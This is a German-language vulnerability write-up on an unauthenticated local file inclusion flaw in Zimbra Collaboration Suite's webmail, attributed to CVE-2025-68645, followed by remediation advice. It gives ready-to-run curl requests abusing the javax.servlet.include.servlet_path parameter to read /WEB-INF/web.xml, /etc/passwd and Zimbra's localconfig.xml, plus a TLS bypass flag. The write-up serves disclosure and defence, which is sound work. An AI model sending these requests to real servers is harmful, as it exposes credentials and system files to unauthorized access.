📌 Überblick

Dieses Dokument beschreibt eine Local File Inclusion (LFI)-Schwachstelle, die Zimbra Collaboration Suite betrifft.

Das Problem entsteht durch unsachgemäße Behandlung des folgenden Parameters:

/h/*?javax.servlet.include.servlet_path=

Dies ermöglicht einem nicht authentifizierten Benutzer den Zugriff auf interne Anwendungsressourcen.

---

🔍 Schwachstellendetails

• Typ: Local File Inclusion (LFI)
• Zugriff: Nicht authentifiziert
• Betroffene Komponente: Webmail (Classic UI)
• Angriffsvektor: Manipulation von HTTP-Anfragen

---

🧪 Erste Überprüfung

Testanfrage:

curl -k "https://TARGET/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

---

▶️ Demo:

---

✅ Ergebnis

• Interne Datei erfolgreich abgerufen
• Bestätigt unsachgemäße Eingabebehandlung

---

⚙️ Endpunktverhalten

Mehrere Endpunkte verarbeiten den anfälligen Parameter unterschiedlich.

Beispiel:

/h/printcalendar?javax.servlet.include.servlet_path=...

Beobachtungen:

• Konsistenteres Dateizugriffsverhalten
• Bessere Antwortzuverlässigkeit im Vergleich zu /h/rest

---

🚧 TLS-Überlegung

Problem

SSL: certificate subject name does not match target host

Problemumgehung

curl -k "https://TARGET/..."

---

🚀 Ausbeutungsbeispiele

📂 Zugriff auf interne Webressource

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

---

📂 Versuch des Systemdateizugriffs

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/etc/passwd"

---

🔐 Zugriff auf Anwendungskonfiguration

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"

Mögliche Offenlegung:

• Dienstzugangsdaten
• Interne Konfiguration
• Infrastruktureinzelheiten

---

🧠 Auswirkungen

Erfolgreiche Ausbeutung kann zu Folgendem führen:

• Offenlegung sensibler Konfigurationsdateien
• Preisgabe interner Dienste und Architektur
• Leck von Anmeldeinformationen
• Erhöhtes Risiko einer weiteren Kompromittierung

---

🛡️ Abhilfe

• Aktualisieren Sie Zimbra auf gepatchte Versionen

• Beschränken Sie den Zugriff auf anfällige Endpunkte

• Überwachen Sie Protokolle auf verdächtige Parameter:

  • javax.servlet.include.servlet_path

• Setzen Sie WAF-Regeln ein, um bösartige Muster zu blockieren

---

💡 Wichtige Erkenntnisse

• Fehler bei der Eingabevalidierung können interne Ressourcen offenlegen
• Verschiedene Endpunkte können sich inkonsistent verhalten
• Konfigurationsdateien enthalten oft kritische Informationen
• Früherkennung reduziert das Risiko erheblich

---

🏴 Fazit

• Schwachstelle bestätigt: CVE-2025-68645
• Ausbeutung ermöglicht unbefugten Dateizugriff
• Eine sofortige Behebung wird dringend empfohlen

---